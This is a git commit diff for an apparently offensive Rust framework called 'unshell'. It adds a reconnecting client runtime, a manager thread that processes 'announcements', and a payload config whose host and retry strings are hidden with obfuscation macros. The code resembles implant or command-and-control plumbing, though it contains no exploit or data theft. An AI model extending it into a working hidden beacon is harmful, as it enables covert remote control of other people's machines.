Work on manager connection system

This commit is contained in:
Michael Mikovsky
2025-11-25 15:22:14 -07:00
parent 1efa3206ae
commit 6863e08a0a
9 changed files with 181 additions and 77 deletions
+30 -27
View File
@@ -1,4 +1,7 @@
use std::collections::HashMap;
use std::{
collections::HashMap,
io::{Write, stdin, stdout},
};
use static_init::dynamic;
use unshell_lib::{
@@ -41,39 +44,39 @@ fn main() -> Result<(), Box<dyn std::error::Error>> {
// Manager::st
Manager::join(manager);
// Manager::join(manager);
// loop {
// print!("> ");
// stdout().flush().expect("Failed to flush stdout");
// let mut input = String::new();
// stdin().read_line(&mut input).expect("Failed to read line");
loop {
print!("> ");
stdout().flush().expect("Failed to flush stdout");
let mut input = String::new();
stdin().read_line(&mut input).expect("Failed to read line");
// let args = input.trim().split(" ").collect::<Vec<&str>>();
let args = input.trim().split(" ").collect::<Vec<&str>>();
// match args[0] {
// "" => {}
// "test" => {
// if let Some(arg) = args.get(1) {
// println!("Test with argument: {}", arg);
// serverruntime
// .send(&Announcement::TestAnnouncement(arg.to_string()))
// .unwrap();
// } else {
// println!("Test without argument");
// }
// }
// _ => {
// println!("Invalid Command: '{}'", args[0]);
// }
// }
match args[0] {
"" => {}
"test" => {
if let Some(arg) = args.get(1) {
println!("Test with argument: {}", arg);
// serverruntime
// .send(&Announcement::TestAnnouncement(arg.to_string()))
// .unwrap();
} else {
println!("Test without argument");
}
}
_ => {
println!("Invalid Command: '{}'", args[0]);
}
}
// // println!("{:?}", args);
// }
// println!("{:?}", args);
}
// serverruntime.send(&Announcement::GetRuntimes)?;
// let response = serverruntime.
Ok(())
// Ok(())
}
+46 -23
View File
@@ -6,6 +6,7 @@ use std::{
atomic::{AtomicBool, Ordering},
},
thread::{self, JoinHandle},
time::Duration,
};
use crate::{config::RuntimeConfig, *};
@@ -32,35 +33,57 @@ impl ClientRuntime {
}
};
let retry = match config.config.get("retry") {
Some(host) => Duration::from_millis(host.parse::<u64>().unwrap()),
None => {
return Err(ModuleError::Error(
"Could not find RETRY in Client Runtime".into(),
));
}
};
Ok(Self {
thread_handle: thread::spawn(move || {
debug!("Connecting to server...");
let mut stream = match TcpStream::connect(host) {
Ok(stream) => stream,
Err(e) => {
error!("Failed to connect to server: {}", e);
return;
}
};
info!("Connected");
while !join_clone.load(Ordering::Relaxed) {
let mut size_buf = [0u8; 4];
stream.read_exact(&mut size_buf).unwrap();
let size = u32::from_be_bytes(size_buf);
let mut buf = vec![0u8; size as usize];
stream.read_exact(&mut buf).unwrap();
let a = Announcement::decode(&buf).unwrap();
match a {
Announcement::TestAnnouncement(s) => {
println!("Received test announcement: {}", s)
loop {
let mut stream = match TcpStream::connect(host) {
Ok(stream) => stream,
Err(e) => {
error!("Failed to connect to server: {}", e);
thread::sleep(retry);
continue;
}
};
info!("Connected");
while !join_clone.load(Ordering::Relaxed) {
let mut size_buf = [0u8; 4];
match stream.read_exact(&mut size_buf) {
Ok(()) => {}
Err(_) => {
break;
}
};
let size = u32::from_be_bytes(size_buf);
let mut buf = vec![0u8; size as usize];
stream.read_exact(&mut buf).unwrap();
let a = Announcement::decode(&buf).unwrap();
match a {
Announcement::TestAnnouncement(s) => {
println!("Received test announcement: {}", s)
}
_ => {}
}
_ => {}
}
debug!("Disconnected from {}", host);
thread::sleep(retry);
}
}),
join_signal,
+50 -20
View File
@@ -1,12 +1,13 @@
use std::{
collections::HashMap,
sync::{Arc, Mutex},
thread,
thread::{self, JoinHandle},
time::Duration,
};
use crate::{
config::{NamedComponent, PayloadConfig, RuntimeConfig},
network::Connection,
*,
};
use module::Module;
@@ -16,10 +17,14 @@ use unshell_obfuscate::symbol;
pub struct Manager {
id: &'static str,
handle: Option<JoinHandle<()>>,
pub modules: Vec<Module>,
active_runtimes: Vec<Box<dyn ModuleRuntime>>,
components: HashMap<String, NamedComponent>,
active_runtimes: Vec<Box<dyn ModuleRuntime>>,
pub connections: Vec<Connection>,
}
// static mut MANAGER_RUNTIME: Option<Arc<Mutex<Manager>>> = None;
@@ -28,16 +33,20 @@ impl Manager {
fn new(id: &'static str, components: Vec<NamedComponent>, modules: Vec<Module>) -> Self {
Self {
id,
handle: None,
modules,
components: components
.into_iter()
.map(|c| (c.name.to_string(), c))
.collect(),
active_runtimes: Vec::new(),
connections: Vec::new(),
}
}
/// Create Manager, and run initilization for each Module
/// Create Manager, and run initialization for each Module
#[allow(static_mut_refs)]
pub fn start(config: &'static PayloadConfig, modules: Vec<Module>) -> Arc<Mutex<Self>> {
// Construct self
@@ -56,6 +65,8 @@ impl Manager {
Self::start_runtime(this.clone(), runtime);
}
this.lock().unwrap().handle = Some(Self::start_thread(this.clone()));
this
}
@@ -85,28 +96,47 @@ impl Manager {
}
}
/// Iterateratively loop through all runtimes, until all are finished executing
/// The manager thread. receives announcements, and kills runtimes.
fn start_thread(this: Arc<Mutex<Self>>) -> JoinHandle<()> {
thread::spawn(move || {
loop {
thread::sleep(Duration::from_millis(10));
let mut this_lock = this.lock().unwrap();
if this_lock.active_runtimes.len() <= 0 {
debug!("There are no more runtimes! Exiting...");
break;
}
this_lock.active_runtimes.retain(|runtime| {
if runtime.is_running() {
true
} else {
debug!("Runtime exited!"); //TODO: Make this better
false
}
});
// Read announcements
this_lock.recv_connection_announcements();
// Prune dead connections
this_lock.prune_connections();
drop(this_lock)
}
})
}
/// Wait for manager thread to finish.
pub fn join(this: Arc<Mutex<Self>>) {
loop {
let mut this_lock = this.lock().unwrap();
if this_lock.active_runtimes.len() <= 0 {
debug!("There are no more runtimes! Exiting...");
if this.lock().unwrap().handle.as_ref().unwrap().is_finished() {
break;
}
this_lock.active_runtimes.retain(|runtime| {
if runtime.is_running() {
true
} else {
debug!("Runtime exited!"); //TODO: Make this better
false
}
});
drop(this_lock);
thread::sleep(Duration::from_millis(500));
thread::sleep(Duration::from_millis(100));
}
}
@@ -0,0 +1,16 @@
use crate::{Announcement, module::Manager};
impl Manager {
pub fn recv_announcement(&mut self, announcement: &Announcement) {
match announcement {
Announcement::TestAnnouncement(str) => {
println!("Got test announcement: {}", str)
}
// Announcement::GetRuntimes => todo!(),
// Announcement::GetRuntimesAck(_) => todo!(),
// Announcement::StartRuntime(runtime_config) => todo!(),
// Announcement::StartRuntimeAck(_) => todo!(),
_ => {}
}
}
}
@@ -0,0 +1,29 @@
use crate::{
Announcement,
module::Manager,
network::{Connection, Stream},
};
impl Manager {
pub fn add_connection(&mut self, connection: Connection) {
self.connections.push(connection);
}
pub fn prune_connections(&mut self) {
self.connections.retain(|c| c.is_alive());
}
pub fn recv_connection_announcements(&mut self) {
// Collect all incoming announcements
let announcements = self
.connections
.iter()
.map(|c| c.read())
.flat_map(|array| array)
.collect::<Vec<Announcement>>();
for announcement in announcements {
self.recv_announcement(&announcement)
}
}
}
+3
View File
@@ -1,4 +1,7 @@
mod manager;
mod manager_announcement;
mod manager_connection;
mod module;
mod proc_load;
+2 -5
View File
@@ -43,11 +43,8 @@ impl Stream<Announcement> for Connection {
self.rx.len()
}
fn read(&mut self) -> Option<Announcement> {
match self.rx.is_empty() {
true => None,
false => self.rx.recv().ok(),
}
fn read(&self) -> Vec<Announcement> {
self.rx.try_iter().collect()
}
fn write(&mut self, data: Announcement) -> Result<(), crate::ModuleError> {
+1 -1
View File
@@ -10,7 +10,7 @@ pub trait Stream<T>: Send + Sync {
fn is_alive(&self) -> bool;
fn len(&self) -> usize;
fn read(&mut self) -> Option<T>;
fn read(&self) -> Vec<T>;
fn write(&mut self, data: T) -> Result<(), ModuleError>;
+4 -1
View File
@@ -20,7 +20,10 @@ static PAYLOAD_CONFIG: PayloadConfig = PayloadConfig {
runtime_config: vec![RuntimeConfig {
parent_component: symbol!("client").to_string(),
name: symbol!("client runtime").to_string(),
config: HashMap::from([(symbol!("host").to_string(), obs!("localhost:1234"))]),
config: HashMap::from([
(symbol!("host").to_string(), obs!("localhost:1234")),
(symbol!("retry").to_string(), obs!("1000")),
]),
}],
};